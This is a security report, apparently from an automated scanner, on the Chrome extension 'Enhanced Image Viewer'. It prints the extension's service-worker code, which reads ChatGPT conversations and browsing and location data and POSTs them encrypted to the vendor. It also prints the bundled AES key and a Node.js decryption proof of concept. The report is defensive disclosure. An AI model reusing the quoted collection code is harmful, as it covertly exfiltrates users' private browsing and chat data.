Is Enhanced Image Viewer safe?

High risk

Enhanced Image Viewer is high risk. Code analysis and a verification PoC show Enhanced Image Viewer stores the AES-GCM key for its telemetry inside the extension, using it before POSTing browsing, page, ChatGPT, device, and IP geolocation data to enhancedimageviewer.com.

Branimir Klarićv6.21Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-506
SourceAI SANDBOX

Bundled AES key decrypts Enhanced Image Viewer telemetry

Code analysis and a verification PoC show Enhanced Image Viewer stores the AES-GCM key for its telemetry inside the extension, using it before POSTing browsing, page, ChatGPT, device, and IP geolocation data to enhancedimageviewer.com.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You browse with Enhanced Image Viewer installed.

The extension collects page navigation details and also handles ChatGPT conversation refreshes.

The extension did this

The extension encrypts telemetry with a key that is included in its own service worker.

The encrypted bytes are then posted to enhancedimageviewer.com stats endpoints.

02EvidenceFIELD TABLE
Plaintext fields covered by the bundled-key telemetry flow
FieldValueWhy it matters
Your extension user ID
3f8a1b2c-4d5e-6f7a-8b9c-0d1e2f3a4b5cLets the recipient tie multiple telemetry messages back to the same browser profile.
Visited page URL
https://en.wikipedia.org/wiki/Test_pageShows the exact page address included in the browsing telemetry.
IP geolocation
ip: 1.2.3.4, city: London, country: GBShows network location details associated with the browsing telemetry.
Browser and device details
Chrome on Linux, en-US, 2026-04-18T03:43:05ZAdds browser, operating system, language, and timing context to the telemetry record.
ChatGPT conversation fields
assistant: ChatGPT, conversationId, pairsIdentifies ChatGPT conversation records that the service worker prepares for the separate update-inter endpoint.
03EvidenceNETWORK CAPTURE
Captured request
POSThttps://www.enhancedimageviewer.com/stats-api/update
The source constructs this POST with encrypted bytes as the request body; the verification evidence did not record a captured body.
Headers
content-typetext/plain
04EvidenceCODE COMPARE
The code that does this

The shipped service worker contains the AES-GCM key, encryption routine, and stats POSTs

What it actually does
Bundled AES-GCM key and encryptorbackground.js
var BS = "mXmNqOSY72M1Vs0bbGg/CYaQ4zGspd9ab6uPHjxQ/cU=";

function Mo(r) {
  return function() {
    return crypto.subtle.importKey("raw", YS(BS), {
      name: "AES-GCM"
    }, !0, ["encrypt"]).catch(n => Promise.reject(n)).then(n => {
      let t = crypto.getRandomValues(new Uint8Array(12));
      return crypto.subtle.encrypt({
        name: "AES-GCM",
        iv: t
      }, n, new TextEncoder().encode(r)).then(e => {
        let a = new Uint8Array(t.length + e.byteLength);
        return a.set(t), a.set(new Uint8Array(e), t.length), a
      })
    }).catch(n => Promise.reject(n))
  }
}

function YS(r) {
  let n = atob(r),
    t = new Uint8Array(n.length);
  for (let e = 0; e < n.length; e++) t[e] = n.charCodeAt(e);
  return t.buffer
}
Browsing telemetry POSTbackground.js
VM = function(r) {
  return Te("Error sending stats data")((function() {
    var n = So(r.locationData.href) > 1e5,
      t = r.locationData.protocol === "chrome-extension";
    return ht(Wn("Error getting IP data from sync storage")(zn("ipGeoData")(en)))(function(e) {
      return ht(Wn("Error checking if IP data is undefined: " + Ul(e))(PD(function(a) {
        return gr(Wl(a))
      })(Ra(CM(TM(e)("ipGeoData"))(Vn)))))(function(a) {
        return fa(!n && !t && !a)(ht(qa)(function(o) {
          return ht(Wn("Error reading foreign IP data: " + Ul(e))(PD(function(u) {
            return gr(Wl(u))
          })(xn(MM(e)))))(function(u) {
            return ht(Wn("Error encrypting data to send: " + xM({
              id: o,
              collectedData: r,
              ipGeoData: u.ipGeoData
            }))(Mo(IM({
              id: o,
              collectedData: r,
              ipGeoData: u.ipGeoData
            }))))(function(c) {
              return nu(Wn("Error sending encrypted data request")(Rh(_n + "/stats-api/update")({
                method: "POST",
                body: c,
                headers: $a("content-type")("text/plain")
              })))
            })
          })
        }))
      })
    })
  })())
}
ChatGPT conversation telemetry POSTbackground.js
Ig = function(r) {
  return function(n) {
    return Rt("Error refreshing conversation")((function() {
      var t = "https://chatgpt.com/backend-api/conversation/" + r;
      return jr(Rt("Error fetching conversation after new message")(yg(t)({
        headers: n,
        credentials: X1
      })))(function(e) {
        return jr(Rt("Error reading conversation response text")(Ko(e)))(function(a) {
          return Ag(Z1(Ga(e) !== 200)(na(gr("Got non-200 status when fetching conversation | Status: " + (Dl(Ga(e)) + (" | Response: " + a))))))(function() {
            return jr(xn(bg("Error parsing conversation response | Response: " + a)(Li(function(o) {
              return gr(gl(o))
            })(rT(a)))))(function(o) {
              return jr(Ri(cT))(function(u) {
                return jr(iT)(function(c) {
                  var s = lT(o),
                    m = Mu(function(E) {
                      return u - E.timestamp < xg && !wv(E.assistantMessageId)(c)
                    })(s),
                    S = xc(m);
                  return S ? hl : jr(jr(Rt("Error getting IP data from sync storage")(zn("ipGeoData")(en)))((function() {
                    var E = bg("Error reading IP data"),
                      R = Li(gr),
                      Sr = Li(gl);
                    return function(pr) {
                      return xn(E(R(Sr(nT(pr)))))
                    }
                  })()))(function(E) {
                    return jr(qa)(function(R) {
                      return jr(Ri(Vo))(function(Sr) {
                        var pr = {
                          userId: R,
                          ipGeoData: E.ipGeoData,
                          userAgentData: Sr,
                          conversationId: o.conversation_id,
                          assistant: pT,
                          pairs: m
                        };
                        return jr(Rt("Error encrypting data to send")(Mo(tT(pr))))(function($r) {
                          return jr(Rt("Error sending encrypted data request")(yg(_n + "/stats-api/update-inter")({
                            method: "POST",
                            body: $r,
                            headers: $a("content-type")("text/plain")
                          })))(function() {
                            var Wt = Zg(rD(m)(function(Xr) {
                                return new K(Xr.assistantMessageId, Xr.timestamp)
                              })),
                              Ka = Mv(function(Xr) {
                                return u - Xr < xg
                              })(c);
                            return oT(Tv(Wt)(Ka))
                          })
                        })
                      })
                    })
                  })
                })
              })
            })
          })
        })
      })
    })())
  }
}
05EvidenceTHIRD PARTY LIST
Telemetry destinations used by this code path
  • www.enhancedimageviewer.com

    Receives encrypted stats-api/update browsing telemetry and stats-api/update-inter ChatGPT conversation telemetry.

  • chatgpt.com

    Source read by the extension when refreshing ChatGPT conversation data before preparing update-inter telemetry.

06EvidenceARTIFACT
Reproduce it yourself

Decrypts an Enhanced Image Viewer stats payload that was encrypted by the bundled AES-GCM routine, or runs a self-test with the verified plaintext sample.

RequiresNode.js 18+
enhanced-image-viewer-aes-gcm-decrypt.js · js
const { webcrypto } = require('crypto');
const subtle = webcrypto.subtle;
const KEY_B64 = 'mXmNqOSY72M1Vs0bbGg/CYaQ4zGspd9ab6uPHjxQ/cU=';

function keyBytes() {
  return Buffer.from(KEY_B64, 'base64');
}

async function importKey() {
  return subtle.importKey('raw', keyBytes(), { name: 'AES-GCM' }, false, ['encrypt', 'decrypt']);
}

async function encryptForSelfTest(plaintext) {
  const key = await importKey();
  const iv = Buffer.from('00112233445566778899aabb', 'hex');
  const ciphertext = Buffer.from(await subtle.encrypt({ name: 'AES-GCM', iv }, key, Buffer.from(plaintext, 'utf8')));
  return Buffer.concat([iv, ciphertext]);
}

async function decryptBody(body) {
  if (body.length <= 12) {
    throw new Error('Body must contain a 12-byte IV followed by AES-GCM ciphertext and tag.');
  }
  const key = await importKey();
  const iv = body.subarray(0, 12);
  const ciphertext = body.subarray(12);
  const plaintext = Buffer.from(await subtle.decrypt({ name: 'AES-GCM', iv }, key, ciphertext));
  return plaintext.toString('utf8');
}

async function readStdin() {
  const chunks = [];
  for await (const chunk of process.stdin) chunks.push(chunk);
  return Buffer.concat(chunks);
}

async function main() {
  if (process.argv.includes('--self-test')) {
    const sample = JSON.stringify({
      id: '3f8a1b2c-4d5e-6f7a-8b9c-0d1e2f3a4b5c',
      collectedData: 'https://en.wikipedia.org/wiki/Test_page',
      ipGeoData: { ip: '1.2.3.4', city: 'London', country: 'GB' }
    });
    const encrypted = await encryptForSelfTest(sample);
    console.log(await decryptBody(encrypted));
    return;
  }

  const body = await readStdin();
  console.log(await decryptBody(body));
}

main().catch((error) => {
  console.error(error.message);
  process.exit(1);
});
How to run it
  1. 1
    node enhanced-image-viewer-aes-gcm-decrypt.js --self-test OR node enhanced-image-viewer-aes-gcm-decrypt.js < captured-body.bin

What it can do

Permissions this extension asks for, as declared in version 6.18. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 6.21, which we have not unpacked yet.

  • Read and change your data on every site you visit

    <all_urls>

  • Add items to the right-click menu

    contextMenus

  • Store data in your browser

    storage

  • See every page you navigate to, as you navigate to it

    webNavigation

  • Watch every request your browser makes

    webRequest

  • Run its own code inside the pages you visit

    scripting

  • Block and redirect the requests your browser makes

    declarativeNetRequest

Updated 21 September 2026gefiaaeadjbmhjndnhedfccdjjlgjhho